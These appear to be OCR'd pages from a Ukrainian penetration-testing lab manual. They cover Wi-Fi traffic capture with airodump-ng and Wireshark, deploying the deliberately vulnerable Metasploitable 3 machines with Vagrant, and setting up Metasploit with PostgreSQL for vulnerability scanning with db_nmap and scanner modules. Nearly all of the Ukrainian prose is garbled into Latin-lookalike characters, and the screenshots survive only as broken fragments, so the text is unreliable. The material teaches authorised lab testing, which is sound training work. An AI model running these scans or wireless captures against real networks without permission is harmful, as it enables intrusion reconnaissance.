® E WPAKey Data (wlan_rsna_eapol.keydes.data), 56 bytes

Pucynok 7.12 — Ananiz EAPOL naxetiB y Wireshark

Packets: 25542 - Displayed: 4 (0.0%) - Marked: 1(0.0%) : Profile: Default

3aBaaHHsA:

— BHUKOpHCTOBYIOUM Komiutekc Aircrack, mposenite anani3 edipy AP, mo Bac
OTOYYIOTb;

— 3pOOHUTH CKPIHIIOT 3 IpoliecoM podotu airodump-ng;

— 3reHepyBatH rpad 31 3B’sI3KaMH MiX TOUKaAMU JIOCTYNY Ta KIIEHTAMU,

— Bu3Haute AP 3 Hailkpamum 3B’S3KOM Ta KOpPHMCTYBayiB, $KI MaloTh
HalKpaiui 38’5130k 3 AP;

— BU3HAYTE HAWOLIbII AKTUBHUX KOPHUCTYBAaYlB;

— BHU3HAYTeE, 1110 MOXE BKa3yBaTH Ha T€, II0 BAKOPUCTOBYE XTOCh IEBHY MEPEXKY
HE CaHKIIIOHOBAaHO 200 HAMara€eThCsi BUKOHATH MIEBHOTO POy aTaKy,

— CopoOyiite Bu3HAUUTH, AKI AP BHUMHKAIOTBCS KOPHUCTyBauyaMu 3a iX
BIJICYTHOCTI, a SKi TMpAaIOlTh IUIO000BO, HANPHUKIIAJ BUKOPUCTABIIN KITHOY
-—-uptime (airodump—ng -—-uptime wlanO).

— BUKOpHUCTaMTE SIK MIHIMYM TpH (1ITPH Ha Balll BUO1p, IHPOpMALIIIO PO HUX
OTpUMAaNTEe 3a OTIOMOTOI0 KJIF04a —help, BKaXITh iX y 3BITI Ta JAOJAlTE 0 OMHCY
CKPIHIIIOTH;

— BUKOHAiTe 3anmuc Tpadiky OKpeMoi TOUKH JTOCTYIy Ta ii KIIEHTIB y (aiin 3a
JOTIOMOT OO KJTF04a —w;

— BUKOHAWTE 1H €KIIiI0 Tpadiky Ta 3adiKCyilTe MaKeTu aBTeHTUIKAaIIi;

— mpoaHamizyiTe 3anuc Tpadiky 3a gomomororo Wireshark:

— HaBeniTh cratuctuky WLAN tpadiky (115 3aranpHOTo 3amucy);

— BijoOpa3iTh HaiOLIe akTHBHI MAC-anpecu;

— pojaiTe rpadik aKTUBHOCTI (IJ1 3aITUCY 3 1H EKITIEI0);

— BIAGDUIBTPYITE OKPEMO MAKETH 1H €KL Ta MaKeTH aBTeHTU(IKALIT
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Jla6opaTopna podora Ne 8
Tema: Posropranus pentest-craniii

Mera: OTtpumaTy HaBUYKHA 3 PO3TOpPTaHHS pentest-CTaHIINA sl O€3[MeYHOTO
HaBYaHHS TECTYBaHHIO Ha MPOHUKHEHHS

Teopernuni Bitomocri

s Ge3neyHOro BHKOHAHHA TMOAANBIINX J1a00paTOpHUX poOIT HEOOX1THO
PO3TOpHYTH poOoOUl CTaHIii, Ha Kl Oy/ne 0e3meyHO BUKOHYBATH BIUIUBH, 10 OYIYyTh
OTIFICaHI JTaJIi.

JInst miArOTOBKM CHELIANICTIB 3 IMPOBEACHHS TECTIB HAa TNPOHUKHEHHS Ta
I1JIBUIIICHHIO iXHbO1T KBaTi(hiKallii BAKOPUCTOBYIOTBCS CIICIliabHI Bepcii oneparifHux
cucreM — DVL (Damn Vulnerable Linux), DVW (Damn Vulnerable Windows) Ta
DVWA (Damn Vulnerable Web Application).

DVL 3a3Buuail mommproThcss 0€3KOMTOBHO, TOMY iX 3HAYHO JIETIIE IITyKaTH,
bk DVW. HaiiBinoMilmuM MpoeKToM, CHEIiadbHO pO3pOOJIECHUM JUIsl TPEHYBaHHS
CIIeIiaTicTiB 3 TeCTyBaHHSA HAa NPOHHKHEHHs, € “Metasploitable”. HMoro aBropom €
kommaniss Rapid7, ska Takox pospobuna Metasploit Framework. Ilomepeanno
nomupeHa Bepcis Metasploitable 2 cknaganacs 3 OJiHI€EDT HaBMUCHO BPa3uBOi
BIpTyasIbHOI Linux-MamumHu, sika nommuproBanaca jume st VMware. CydacHa x
Bepcia, Metasploitable 3, ckmagaeTbcsi BOgHOYAac 3 JBOX BIpTyaJbHUX MaIMH,
6aszoBannx Ha Linux Ubuntu 14.04 Ta Windows Server 2008R2 BiamoBiaHo. Jlo Toro
K, 1151 BepCist OUIBIN peallicCTUYHA Ta IMITY€E pealibHI CepeIoBUIIIA.

Ha Biaminy Bi1 00pa3y Metasploitable 2, Tpetst Bepcis ckiiaaaeThbCs 31 CKPUIITIB
Ta HaJlAITyBaHb, $KI OyIylOTh 3a3HA4eHl BIPTyalibHI MalIMHU. Bech NpoeKkT
po3ramoBanuii B odimiinomy GitHub-penosutopii kommanii 3a  agpecoro
github.com/rapid7/metasploitable3. Po3poOHuMKKM NPOMOHYIOTH TPU  CIOCOOU
PO3rOpPTaHHS MPOEKTY: BUKOPUCTAHHS TOTOBUX 00pa3iB, aBTOMAaTU4YHA MOOY/I0Ba Ta
pyuHa moOymoBa. B ycix BuUmajkax BHKOPUCTOBYEThCS Vagrant — IHCTPYMEHT JIJIst
OyayBaHHS Ta KEpyBaHHA BIPTYaJbHHMH CepeIOBMIIAMH. MOro HeoOXimHO
3aBaHTaXXUTH 3 odiriitHoro caity HashiCorp 3a aapecoro vagrantup.com/Downloads.

JI1s1 BUKOpUCTaHHS TOTOBUX 00Opa3iB Tpeba BUKOHATH KOMAaH/HM, 3a3HAYEHI Ha
rOJIOBHIM cTopiHLi peno3utopito. s Windows Tpeba BBeCTH HACTYyHHI KOMaHIU Y
tepminai PowerShell:

— mkdir metasploitable3-workspace

— cd metasploitable3-workspace

— Invoke-WebRequest -Uri
"https://raw.githubusercontent.com/rapid7/metasploitable3/master/V
agrantfile" -OutFile "Vagrantfile"

— vagrant up

[le 3amycTuth 3aBaHTakeHHs 00paziB 3 peno3utopiiB Vagrant Cloud, mobymye
Ta HaJAITy€e OOMIBI BipTyaibHi MammHu i VirtualBox (Pucynok 8.1).
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Jis aBromMatuuHOi MOOYAOBM MOTPIOHO CKJIOHYyBaTH Git-peno3uTopii Ta
3aIyCTUTH CKPUNT JIJIS1 CTBOPSHHSI JIUIIIE MOTPIOHOT BipTyaabHOI MallTuHH.

B sikocTi omtii mig gyac pydHoro OyayBaHHS MOYKHA 3a3HAYWTH TIMEPBI3OP, IS
aKoro Oyze cTBOproBaTUCH BipTyaibHa MamuHa (VirtualBox, VMware a6o QEMU).
ITocnimoBHICTE AiM AJI IBOTO 3a3HAayeHa Ha T'OJIOBHIN CTOPIHIN MPOEKTy. B manomy
BUTIAJKYy HAC BIAIITOBYE BUKOpUCTaHHS VirtualBox, Tomy 110 BiH Ha/lae MOXKIIMBICTh
3allyCKaTh JeKiIbKa BIPTYaJbHUX MAaIlMH OJHOYACHO Ta MPOCTIIIMH CrHocio
HaJIAIITyBaHHS MEPEXK.

[ ]

Bringing machine 'ub:
Eringing machine ‘'wi
ubl4dd: Importing ba
Matching MAC A
king if i 0 -ubl4@d' version '@.1.12-weekly' is up to date..
ble3-ubl

nterfa -
on configuration...

serting generated public ke
ins y from t

for this Wp

machine, pl
o continue.

B4: This is not an error me
in which ¢

iguring
Importing
Matching MAC

ng any pr
Preparing netw
Adapter 1: nat

-

apter 2:

Pucynok 8.1 — CTBOpeHHsI Ta HaJlalITyBaHHS BIPTYalbHUX MAIIMH 32 J0MOMOTOIO
Vagrant

Jani tpeba Bigkputu VirtualBox Ta 3amycTUTH HOBI BIpTyalibHI MAIIMHU (BOHU
MOXKYTh OYTH BXE 3aIlyIIEHUMH, SIKIIO MPAaIOI0Th B PEKUMI CepBEpa — B TAKOMY
BUIIAJIKY 3aMICTh 3alycKy OyJe 3amporoHOBaHO BigoOpasuTH ix). [ns 06ox cucrem
Ii¥icH1 Takl 00JIIKOBI J1aHi:

— KOpucTyBad: vagrant
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— I1apoJib: vagrant
Baxnuso nepeBiputu IP-anpecu koxHOi 3 HuUX. Y JaHOMY BHUIIQJKy BOHHU
HaJIe)KaTh pi3HUM Mepekam (Pucynok 8.2, 8.3).

JYindows PowerShell
Copyright (C> 2016 Microsoft Corporation. All rights reserved.

PE C:\Userssvagrant? ipconfig

Windows IP Configuration

EdEthernet adapter Local Area Connection 2:

Connection—specific DNE Suffix
Link-local IPv6 Address . . .
IPv4 Address. . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . 5 5

B : feBB::5caazade2:6022:h58ax14
. ¢ 192.168.56.4
. @ 255.255.255.8

Ethernet adapter Local Area Connection:

Connection—specific DNE Suffix
Link-local IPv6 Address . . .
IPv4 Address. . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . 5 5

- & feBB::clc4:7743:1585:1eldx11
- = 18.8.2.15

- & 255.255.255.8

- 18.8.2.2

Tunnel adapter isatap.{5FCB?5E?-CC56-4B5A-ADD6E-S5FBEDSDABCZCS =

Media State . . . . . . . . . . . ¢ Media disconnected
Connection—specific DNS Suffix . :

Tunnel adapter isatap.{AABTE?3F-E3BA-4133-84AC-E?D?C54EF5862:
Media State . . . . . . . . . . . & Media disconnected
Connection—specific DNE Suffix g

PE C:sUserssvagrant?>

= Er ey

o | B & @] riahtcrd

Pucynox 8.2 — IP-angpeca Windows-marmau
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|

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:?740 errors:0 dropped:0 overruns:0 frame:0
TX packets:639 errors:0 dropped:0 overruns:0 carrier:Q
collisions:0 txqueuelen:1000

RX bytes:119251 (119.2 KB) TX bytes:108944 (10§.9 KB)

Link encap:Ethernet HWaddr 08:00:27:1e:0f :95

inet addr:172.28.128.3 DBcast:172.28.128.255 Mask:255.255.255.0
inet6 addr: feB0::a00:27ff:fele:f95-64 Scope:Link

UP BROADCAST RUNMING MULTICAST MTU:1500 Metric:1

EX packets:?1 errors:0 dropped:0 overruns:0 frame:0

TX packets:186 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:8124 (8.1 KB) TX bytes:29920 (29.9 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inetb addr: ::1-1Z28 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

EX packets:5056 errors:0 dropped:0 overruns:0 frame:0
TX packets:5056 errors:0 dropped:0 overruns:0 carrier:0
collisions:® txqueuelen:®

RX bytes:1941809 (1.9 MB) TX bytes:1941809 (1.9 MB)

vagrant@metasploitable3-ub1404:75

& B @ @ rightcel
Pucynox 8.3 — IP-agpeca Linux-mammau

B Linux-mammHi 3a 3aMOBYYBaHHSIM BCTaHOBJIEHa cTaTuuHa I[P-aapeca
172.28.128.3, 1 nyist el VirtualBox ctBoproe okpemy Mepexy. s qanoi mepesxi Tpeda
HanamrtyBatu DHCP-cepBep, a came 3amyCTUTH MOTO Ta 3MIHUTH HUXKHIO Mexy [P-
anpec, 1mo0 3amoOIrTM HaKIAJaHHIO aJpec 3 XOCTOM 31 CTaTUYHOIO ajpecalli€ro
(Pucynox 8.4).

¥ Oracle VM VirtualBox Manager - O

File Machine Metwork Help

gHE Tools {/ g= ( E| welcome FJ

erties

i | MAT Networks  Cloud Networks
?j Kali (Snapshot 1) ﬂ Extensions | etworl loud Metworl
i

f I s
E€> Running IPv4 Prefix IPve Prefix  DHCP Server
Media thernet Adapter 192,168, 56. 1/24 Enabled
Metasploitable3-ub1404 ernet Adapter #2 172,28.128.1/24 Enabled
E€> Running
ﬁ Network /
[EL | metasploitable3-workspace_win2k8_16...
E{ﬁiﬂ I::> Running i Cloud
|~ Activities

Adapter DHCP Server
L]}

Enable Server

Server Address: | 172.28.128.2

Server Mask: |255.255.255.0

Lower Address Bound: | 172.28.128.4

Upper Address Bound: | 172.28.128.254

Pucynok 8.4 — HanamtyBaHHs BipTyalibHOI Mepexi y VirtualBox
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Jami Tpeba K OCHOBHY BIpTyaJlbHYy MalliuHy, Tak 1 Windows-MalHy

npuegHaTH 10 Mepexi Linux-mamwam. o mporo oOMABI MalldHUA MalOTh OyTH
BUMKHEHUMHU. B HamamrtyBaHHSAX BipTyalbHOI MamHu B po3aim “Network” tpeba
aKTUBYBATH NpYyruii ajgantep, y nom “Attached to” obpatu “Host-only Adapter”. V
noii “Name” Oyae 1Ba agantepa Ha BHOip — oOpaTu HajamroBanuii (Pucysok 8.5).

CTOEE M ©

-

General Network
System Adapter 1 Adapter 2 Adapter 3 Adapter 4
Display Enable Metwork Adapter
[ ]
Attached to: |Host-only Adapter w
Storage N
Mame; |VirtualBox Host-Only Ethernet Adapter £2 e
Audio
[» Advanced
Metwaork

Pucynox 8.5 — IligkntoueHns BipTyanbHOi MamuHu 10 Host-only mepexi

[licns 3aBaHTaKEHHA CUCTEMH BIJKPUHTE TEpPMIHAN Ta BBEIITh KOMaHIYy

“sudoedit /etc/network/interfaces”. 3MiHITh (ain Tak, mo0 HOro 3MicT
BI/IMIOBIZIaB JJAHOMY:

addr”

# The loopback network interface
auto lo

iface lo inet loopback

# NAT

auto ethO

inet ethO inet dhcp

# Host-only

auto ethl

iface ethl inet dhcp

13

[Tepe3anycTiTh CHCTEMYy Ta 3a JOTIOMOTOI KOMaHIU “ifconfig” abo “ip
BIIEBHITHCS, 10 yCi iHTepdeiicn orpumanu [P-anpecy (Pucynox 8.6).
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- kali@kali: ~

File Actions Edit View Help

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:feeb:3ea8 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:eb:3e:a8 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors ® dropped @ overruns @ frame 0
TX packets 21 bytes 3046 (2.9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.128.6 netmask 255.255.255.0 broadcast 172.28.128.255
inet6 fe80::a00:27ff:fe71:1160 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:71:11:60 txqueuelen 1000 (Ethernet)
RX packets 38 bytes 7076 (6.9 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 40 bytes 5310 (5.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors ® dropped @ overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Pucynok 8.6 — HanamryBaHHs MepexeBuX iHTEp(EiCiB BipTyalbHOI MaIllIMHA

3aBaaHHA:
— 3aBaHTAXXWTHU Ta 3aIyCTUTH OOWBI BipTyanbHi MamHu Metasploitable 3;

— BUKOHATH HaJAIITyBaHHS BIPTyaJIbHUX MEPEKEBUX aHanTepiB;

— OmnMCcaTH HaJAIITYBaHHS MEPEXKEBUX aJanTepiB Ta OOIPYHTYBaTH BHOIp
iXHBOTO PEKUMY POOOTH (HAJTATH Y 3BIT1);

— JOJIaTH Yy 3BIT CKPIHIIOTH KJIIFOYOBHX MOMEHTIB POOOTH;

— JOJIaTH Yy 3BIT CKPIHIIOTH, SIK1 MiITBEPHKYIOThH 3B’ 30K MK YCIMa XOCTaMH
(CKpIHIIIOTH 3 HAJAMITYBAHHSIMHU MEPEXl Yy BCIX CHUCTEMax, pe3yJbTaT TpacyBaHHS
3’eIHaHHA cucTeMoro I ayauty Ib 3 pentest-cTaniisimm);

— OMHCATH yC1 TOMIJIKH, IO TPATTAJIUCH ITi]T YaC BUKOHAHHS 3aBJaHb (0COOIMBO
M1J] 4ac 3aMycKy BipTyaJlbHUX MAIIMH) Ta HAJAATH CIIOCOOU iX BUPIIICHHS.
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JlaGopaTopna podora Ne 9

Tema: IlinrotoBka 10 po6oTu Metasploit Ta PostgreSQL

Meta: HapunTucs HanamToByBatu 3’efHaHHA Metasploit 3 PostgreSQL
TeopernuHni BizomocTi

Hamanmi nns  mpoBeneHHST TeCcTyBaHHS BpasnuBuUX —pentest-cranmiii  Ha
NPOHWKHEHHSI Mu OyeMo BukopuctoByBatu Metasploit Framework — mmardopma st
HAIMCaHHsI, TECTYBaHHS Ta BUKOHAHHS €KCIUIONTIB. BiH Mae Benuky 6a3y BiKe TOTOBUX
eKCIUIOWTIB Ta JOJATKOBUX IHCTPYMEHTIB, SIKI MOXKYTh CTaTH NPHU HArOAl Mija 4ac
TECTYBaHHSA CUCTEMH. Y Cl CKPHUIITH, IMIATOTOBJIEHI JIJI1 BUKOHAHHS OCOOJMBHX 3a]a4
Ta MPOTECTOBaHI Y BUKOPHCTaHHI 3a qormomororo Metasploit, cratote MomynsaMu Ta
MOTPAIJISIOTH B OJIHY 3 KaTEropii:

— Auxiliary: ckanyBaHHs, (pa33uHT, CHIPIHT Ta MOXKJIUBOCTI aIMIHICTPATOPA;

— Encoders: 36epiraroTh IiTICHICTD MEHI0a/IB;

— Evasion: yHUKHEHHSI IOMITHOCTI;

— Exploits: BUKOPUCTOBYIOTh BPa3JIMBICTh JJI JOCTABJICHHS Meioay;

— NOPs: 36epiratots po3mip neisioaay noCTIHUM;

— Payloads: ko, 1110 BUKOHYETBHCS BiAAAJICHO BiJI’ € THYETHCA JI0 ATAKYIOUOIO Ta
HAJIArOJIXKY€E 3B’ S30K;

— Post: moayni ajist 36opy iH(pOpMaliii 3 CUCTEMHU, TOTJIUOIEHOTO TPOHUKHEHHS
B MEPEXKY TOIIIO;

— Plugin: mtogaTkoBi CKpUNTH, 1110 IHTErPYIOTHCA B podoTy Metasploit.

Vi i Moy MoxkHA 3HaWTH 3a niisixom “/usr/share/metasploit-framework ™.

MoaynbHa apxiTekTypa poouts Metasploit Framework miBeiinapcbkum HOXOM,
710 SIKOTO 3aBKJIM MOKHA JTOJIaTH CBiil MOJTyJIb Ta IHTETPYBATH B MPOIEC TECTYBAHHS.

Metasploit Framework Takoxx opraHizoBye ycCiO 3HaiaeHy iH(opMalliio 3a
normoMororo 6a3u nanux PostgreSQL, 1 103BosIsiE BUKOPUCTOBYBATH 110 1H(OpMaIIito
IT1JT YaC CTBOPEHHS CKCILJIONTY.

[Ticnst posropTaHHs BIPTyaIbHUX MAIIUH [JII TPOBEJCHHS TECTYBAHHS
HeoOXiaHO miarotoButu Metasploit Framework. Bin Bxxe Bcranosnenuit Ha OC Kali
Linux, ojHaK SKIO BiH BIICYTHIM y CUCTEMI OO MOYKHA 3aBAaHTAXKUTH 32 JIOIIOMOTOI0
KOMaHJIH ‘“‘sudo apt install metasploit-framework”. llepen 3amyckom
Metasploit moTpiOHO iHimiami3yBatu 6a3y ganux PostgreSQL, mo0 yci pesynbratu
30epiranmcs y 3pydHoMy BUTIIsiai. st iboro moTpiOHO BUKOHATH KOMAHAY “‘msfdb
init” Bl IMEHI root’a 3 OCHOBHOI KOHCOJII.
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L}

kali@kali: ~

File Actions Edit View Help

re/metasploit-framework/config/database

Pucynok 9.1 — Bukonauust komangu msfdb init

[Ticns Bmamoi iHimiamizarmii 0a3u JaHMX BapTO IEPEKOHATHCS, IO CEpBIC
“postgresql” 3anmymieno (Pucynoxk 9.2).

kali@kali: ~

File Actions Edit View Help

status postgresgl
L.5e ce - SQL RDBMS
£ ce; disabled; preset: disabled)
EET; 4@8min ago

(code=exited, s

i 48ms

21 kali systemd[1]: Starting postgresqgl.service
kali systemd[1]: Finished postgresgl.serv

~

Pucynok 9.2 — IlepeBipka cepsicy postgresql

Hns 3amycky Metasploit JIOCTaTHbO BBECTH B TEPMiHAIl KOMaHAY
“msfconsole”. Ilicma 3amycky Metasploit BuBeme Oanep Ta maHi mpo CBOI
moyii (Pucynoxk 9.3). Msfconsole — e ocroBnwmit inTepderic Metasploit Framework,
3a JIOTIOMOT'OI0 HHOTO BiJIOYBA€THCS BCS B3A€EMOJIS 3 HUM.
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kali@kali: ~

Actions Edit View Help

EXPLOIT

RECON

PAYLOAD

loit v6.3.€ V
loits - 1281 auxiliary - 408
9 p s - 45 encoders - 11 nops
9 evasion

Metasploit tip: Use the 1 rce command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

Pucynox 9.3 — banep Metasploit Ta nani npo MoyJi

[Ticns 3amycky Metasploit He0OXi1THO BIEBHUTHUCH, 1110 0a3a JaHUX, B sKiil Oyje
30epiraTucs 1HdopMallis Ipo Balli il Ta JaHl XellliB, MapoJil, JOT1HH, CEPBICH TOIIO,
NpaBUIBHO MigKItoueHa. J[ist iboro B koHncomi Metasploit HeoOXiqHO BBeCTH KOMaHTy
“db status”. Y pazi, gkuojo 0a3za JaHUX MIJKIIOYEHa BipHO, OyAe BHUBEIECHO
BinOBiAHE moBigomiieHHs (PrucyHok 9.4).
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Metasploit tip: When in a module, use "k to go
back to the top level prompt
Metasploit Documentation: https:/; asploit.com/

msfe > atu
t

5
o msf. Connection type: po
ms T

Pucynok 9.4 — BinnoBiae npo yCHiliHe MiAKII0UYeHHs 0a3u JaHuX

Skmo 6a3a 1aHMX HE MIAKIOUEHA — Tpeba 3poOUTH MOBTOPHY 1HIIMATI3AIII0
BJ1: nis nporo B OCHOBHIM KOHCOJI Tpeba BBECTH KOMaHy “sudo msfdb reinit”.

[Ticns Baanoro miakmtoueHHs 10 b/l MokHa BUKOHYBaTH 0a30B1 HAJIAIITYBAHHS
rio0aNbHUX 3MIHHHX (perMBOpKY, Takux sk: “rhost”, “lport” ta inmmi. [ToapoOwui
X HaJANITyBaHb MOXKHA TepeauBuUTUCS y KoHcoui Metasploit 3a momomororo
KOMaHIH “help”.

BcranoButn 3HadeHHS Tr100abHOI 3MIHHOT MOYKHA BHUKOPHCTOBYHOUH ‘“‘setg
<im’a sminxoi>". PI3HULM MOJSTae B TOMY, IO rI100ajdbH1 3MIHHI € CIIUIBHUMU TS
yCIX MOJIYJIB, TO/I1 SIK 3BUYalHI 3MIHHI aKTyaJIbHI TUTbKU B KOHTEKCT1 MOJIYJIS, Y IKOMY
Oy 3a1aHi.

TakuM ke YMHOM MO’KHA TEPEIMBIIATUCA 3HAUCHHS 3MIHHHMX 3a JIOITOMOT'OIO
KOMaHJI “get”/”’getqg’ Ta BUAAIATH 3HAYCHHS 3a JIOIOMOT0I0 “unset”/’unsetqg”.

3aBaaHHA:

— 3amyctutu Metasploit;

— HaJlaITyBaTH MmaKIodeHHs 10 b/I;

— BCTaHOBUTH IJ100aJIbHI 3MiHHI, HAJaTH BIJIOMOCTI PO HUX Y 3BITi;

— OOIpyHTYBaTH BCTAHOBJICHHS 3HAYEHb IJ100aJTbHUM 3MIHHUM;

— HaJaTH y 3BiTi BIIOMOCTI PO OCHOBHI kKoMaH i1 msfconsole (1e meHIe cemn).

97



JlabopaTtopna po6ora Ne 10
Tema: 30ip indopmartii 3a gonomororw Metasploit

Mera: HaBunTrcs BUKOpHCTOBYBaTH BOY10BaHi Moaym Metasploit Framework
U1 300PY JaHUX TIPO LT

Teopernuni Bitomocri

Oxpim, Oe3nocepeIHbo, EKCILIONTIB Ta neitoaniB, Metasploit Bkirrouae Benmuky
KUTBKICTh CKaHEpiB HA PI3HOMAaHITHI BUTIQJKH.

OnHMM 13 HaWPO3MOBCIOKEHIMNX Ta HAyKUBAHIIIMX Yy MPAKTUIl CKaHEPIB
sanuiraetbess Nmap. Bin ske BrimroueHuit 1 1o Metasploit, oqHak #Woro BUKOPUCTaHHS
JIEIIO BIAPI3HSAETHCS Bl BUKOPUCTAHHS 1M03a Mexxkamu ¢peiimBopky. HaiironosHiiia
BIIMIHHICTb — BC1 JIaHi, 10 OyayTh 3HaWjeHi, OynyTh 3amucadi y BJI, sika Oyna
MIIKII0YEHA MTPU BUKOHAHHI JJabopaTopHoi poootu Ne 9.

[Ticnst Toro, sk ckaHyBaHHS OyJzie 3aBepliieHe, JaHl CKaHyBaHHS OyIyTh J0/1aHi
y BJl 1 crane MOXJIMBUM WIBHUAKO Ta y 3py4yHoMy (dopmaTi OTpuMaTd AaHi, 10
I[IKaBJISATh, BUKJIMKAIOUM KOMAaH/IM Ha KITAIT “hosts’ — sika BUBEJIE HA €KpaH JaHi
npo BijgckaHoBaHi xoctu (Pucynok 10.1), abo “vulns” — 10 BuBeAe yci 3HaljeH1
BpaznuBocTi (Pucynok 10.2).

= kali@kali: ~
File Actions Edit View Help

msf6 > hosts

Hosts

address name os_name os_flavor os_sp purpose info comments

127.0.0.1 localhost Unknown device
172.28.128.3 Linux server
172.28.128.5 Unknown device
172.28.128.6

msf6 > [

Pucynok 10.20 — [Tpuxiag BukoprctanHs koMauau hosts
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.- kali@kali: ~
File Actions Edit View

msf6 > vulns

Vulnerabilities

Timestamp Host Name References

2023-02-26 ©3:33:03 UTC 172.28.128.3 cpe:/a:proftpd:proftpd:1.3.5 SAINT:FD1752E124A72FD3A26EEB9
B315E8382,SAINT:950EB68D408AL
0399926A4CCAD3CC62E,SAINT:63F
B77B9136D48259E4FOD4CDA35E957
, SAINT: 1BO8F4664C428B180QEEC96
17B41D9A2C, PROFTPD_MOD_COPY, P
ACKETSTORM:162777 , PACKETSTORM
:132218,PACKETSTORM: 131567, PA
CKETSTORM:131555, PACKETSTORM:
131505,EDB-ID:49908,CVE-2015-
3306,1337DAY-ID-36298, 1337DAY
-ID-23720,1337DAY-ID-23544,SS
V:61050,CVE-2020-9272,CVE-201
9-19272,CVE-2019-19271,CVE-20
19-19270,CVE-2019-18217,CVE-2
016-3125,CVE-2013-4359,CVE-20
17-7418,CVE-2021-46854

2023-02-26 03:33:04 UTC 172.28.128.3 cpe:/a:openbsd:openssh:6.6.1 CVE-2015-5600,CVE-2015-6564,C

pl VE-2018-15919,CVE-2021-41617,

Pucynok 10.2 — I1pukian BUKOpUCTaHHS KOMaH1u VUInS

Jnst Toro, o6 pe3ynbTaTH CKaHyBaHHS oJipa3y aoAaBainuch 10 bJ[, HeoOxiaHO
BUKOPUCTATH KOMaHAy “‘db nmap” pa3oM 13 HEOOXIAHMMHM KIIOYaMH Ta
HaJIalITyBaHHSIMU, Kl  PO3IJISAIATIUCh y  BIINOBIIHIA  J1abOpaTOpHiit
po6oTi (Pucynok 10.3). Came tyT pouiibHO BukopuctoByBaTd NSE-ckpuntu mms
CKaHyBaHHs BPa3JIMBOCTEM.
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- kali@kali: ~
File Actions Edit View Help

Nmap: | "tagline”™ : "You Know, for Search

Nmap: | HTTPOptions:

Nmap: | HTTP/1.0 200 OK

Nmap: | Content-Type: text/plain; charset=UTF-8

Nmap: | Content-Length: 0
|
|
|

"

Nmap: RTSPRequest, SIPOptions:

Nmap: HTTP/1.1 200 OK

Nmap: Content-Type: text/plain; charset=UTF-8

Nmap: |_ Content-Length: @

Nmap: 49153/tcp open msrpc syn-ack Microsoft Windows RPC
Nmap: 49154/tcp open msrpc syn-ack Microsoft Windows RPC
Nmap: 49158/tcp open java-rmi syn-ack Java RMI

Nmap: 49159/tcp open tcpwrapped syn-ack

Nmap: Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows
Nmap: Nmap scan report for 172.28.128.6

Nmap: Host is up, received conn-refused (0.00039s latency).

Nmap: Scanned at 2023-02-26 05:21:40 EET for 113s

Nmap: All 1000 scanned ports on 172.28.128.6 are in ignored states.
Nmap: Not shown: 1000 closed tcp ports (conn-refused)

Nmap: NSE: Script Post-scanning.

Nmap: NSE: Starting runlevel 1 (of 2) scan.

Nmap: Initiating NSE at ©05:33

Nmap: Completed NSE at ©5:33, 0.00s elapsed

Nmap: NSE: Starting runlevel 2 (of 2) scan.

Nmap: Initiating NSE at ©05:33

Nmap: Completed NSE at ©05:33, 0.00s elapsed

Nmap: Read data files from: /usr/bin/../share/nmap

Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submi

: Nmap done: 256 IP addresses (3 hosts up) scanned in 702.07 seconds

Pucynox 10.3 — Bukopuctanus db_nmap 3 kimrouem -A --script=vuln y Metasploit

OxpiM 11bOTO, (PpeiMBOpPK BKItOUAE B cOO1 OUTBIN crienu(piyHl CKaHEepH, SKi
MO’KHa BHUKOPHUCTOBYBATHU JJIi YTOUHEHHs BXK€ OTpUMaHoi 1H(opmalii abo mouryky
YOroch KOHKPETHOTO 0€3 3aifiBoi B3aeMolli 3 HUIbOBOIK cucTeMoro. Crenudivni
CKaHePH MOKIIMBO 3HAWTH y PO3/iJIi TONOMIKHUX 3aco0iB (auxiliary). lns neperisay
3aco0iB  (peliMBOpKy B  Mekax —msfconsole  BUKOpPHCTOBYHOTH — KOMaHIY
“search” — “search [<mapameTp >:<3HaUeHHSI>] [<myxaHe cioso>]1",
HaIMPUKJIIA JUTsl IEPETIIsily CKaHEepiB, 1110 1MOB s13aHi 3 “lCP” — “search path:scanner

tcp” (Pucynok 10.4).
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kali@kali: ~
File Actions Edit View Help

search path:scanner tcp

ing Modules

ice Audit
Remote File A
iner
FTP
Hidden DCERP
Modbus Banne
Modbus Unit ID tion ID Enumerator
Modbus i

e IR
arp DVR Pass

Endpoint
Username Enume
omm Net

ta_odb
admin_pw

with a module name or index. For example

Pucynox 10.4 — BukopucranHs komanu search path:scanner tcp

s Toro, mo6 oOpaTu OJWH 31 CKaHEepiB, HEOOX1THO BUKOPHCTATH KOMaH]y
“use” 1 BKa3aTH LUISAX 10 BIANOBIAHOTO cKaHepa (a00 Moaynst ppeiiMBOpKY, KOMaH/1a
“use” BHUKOPHUCTOBYEThCS I TMIAKIIOYCHHS Oyab-skoro moayns y Metasploit).
Hanpuxnan, ans toro, mo6 BuzHaunTh auiie TCP mopTu Ha meBHiN MalinHi, MOKHA
BUKOPHUCTATU CKaHEp “auxiliary/scanner/portscan/tcp’. Ilicas Toro, sik oro
Oyle MAKIOYEHO, BapTO TMEPETJISHYTH WOro OIKC —II€ MOXKIHMBO 3pOOHUTH 3a
